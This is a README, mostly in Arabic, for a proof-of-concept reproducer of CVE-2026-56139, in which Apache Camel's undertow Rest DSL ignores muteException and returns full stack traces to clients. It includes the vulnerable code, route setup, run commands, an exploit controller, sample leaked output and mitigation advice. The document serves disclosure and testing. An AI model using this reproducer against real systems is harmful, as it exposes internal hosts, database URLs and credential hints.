
أداة إعادة إنتاج (PoC) لثغرة CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): يثبّت ربط Rest DSL القيمة muteException=false في الكود نفسه، لذلك يتم تجاهل muteException=true المُهيأة ويُعاد تتبّع المكدس الكامل (full stack trace) لاستثناء غير مُلتقَط إلى العميل (CWE-209). تم الإصلاح في الإصدارات 4.14.8/4.18.3/4.21.0.
يوضح هذا المشروع مشكلة كشف المعلومات في مستهلك camel-undertow Rest DSL في Apache Camel، والتي تُتتبَّع باسم CVE-2026-56139. يتحكم خيار muteException في ما إذا كانت تفاصيل أي استثناء معالجة غير ملتقط ستُعاد إلى عميل HTTP. في نقطة نهاية undertow عادية، يعمل الخيار — لكن Rest DSL في undertow يُنشئ ربط استجابته مع muteException مثبّتة على false في الكود المصدري ولا ينسخ القيمة المكوَّنة أبدًا، لذلك يتم تجاهل muteException بصمت في وضع REST ويُعاد تتبُّع مكدس Java الكامل على أي حال:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
نظرًا لأن undertowHttpBinding لنقطة النهاية أصبح الآن غير null، فإن UndertowEndpoint.getUndertowHttpBinding() يُرجع ذلك الربط Rest كما هو ولا يُنفّذ أبدًا الفرع الذي ينسخ muteException الخاص بنقطة النهاية إليه. لذلك فإن المسار الذي يضبط muteException=true صراحةً لا يزال يُسرّب تتبُّعات المكدس عند تقديمه عبر Rest DSL — مما يكشف أسماء مضيفات الواجهة الخلفية الداخلية، وعناوين URL لقواعد البيانات، وتلميحات بيانات الاعتماد/الخزائن، وإصدارات المكتبات، ومواقع الكود المصدري.
يُظهر هذا المثال البرهاني (PoC) التأثير كـ تعرض للمعلومات عبر رسالة خطأ (CWE-209). وهو النظير الخاص بـ Rest DSL لثغرة CVE-2026-49365 (التي صحّحت القيمة الافتراضية لـ muteException لنقاط نهاية camel-netty-http وcamel-undertow العادية)؛ وقد تم إصلاح كلتيهما معًا ضمن CAMEL-23651.
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-56139.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-undertow (مستهلك Rest DSL) |
| الفئة المتأثرة | org.apache.camel.component.undertow.UndertowComponent — تُنشئ RestUndertowHttpBinding دون نسخ muteException (وبالتالي تكون قيمتها الافتراضية false) |
| CWE | CWE-209 (إنشاء رسالة خطأ تحتوي على معلومات حساسة) |
| الأثر | يتم إرجاع تتبُّع مكدس Java الكامل إلى عميل غير مصادق حتى عند ضبط muteException=true |
| الشروط المسبقة | مستهلك Rest DSL عبر undertow؛ أي طلب يُطلق استثناء معالجة |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، ومن 4.15.0 قبل 4.18.3، ومن 4.19.0 قبل 4.21.0 |
| الإصدارات المُصلحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| الفضل | يو باو (PayPal) |
يجعل الإصلاح مسار Rest DSL ينسخ
endpoint.getMuteException()إلىRestUndertowHttpBinding، وبذلك يحترم Rest DSL الإعداد (وبالقيمة الافتراضية المُصححة وهيtrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). بعد الترقية، يحترم Rest DSL في undertow خيار muteException (ويضبطه افتراضيًا على true)، لذلك لا يتم إرجاع تتبُّع المكدس.
حتى يتم الترقية، أضف onException(...).handled(true) (أو معالج خطأ عام) يُرجع رسالة عامة بدلاً من تتبُّع المكدس، ولا تعتمد على خيار muteException وحده لمستهلكي Rest DSL عبر undertow.
مُعيد الإنتاج هذا مُقدَّم للبحث الأمني والاختبار المصرَّح به فقط، وهو خاص بثغرة مُعلن عنها ومُصلَحة بشكل عام. لا تستخدمه ضد أي نظام دون إذن صريح.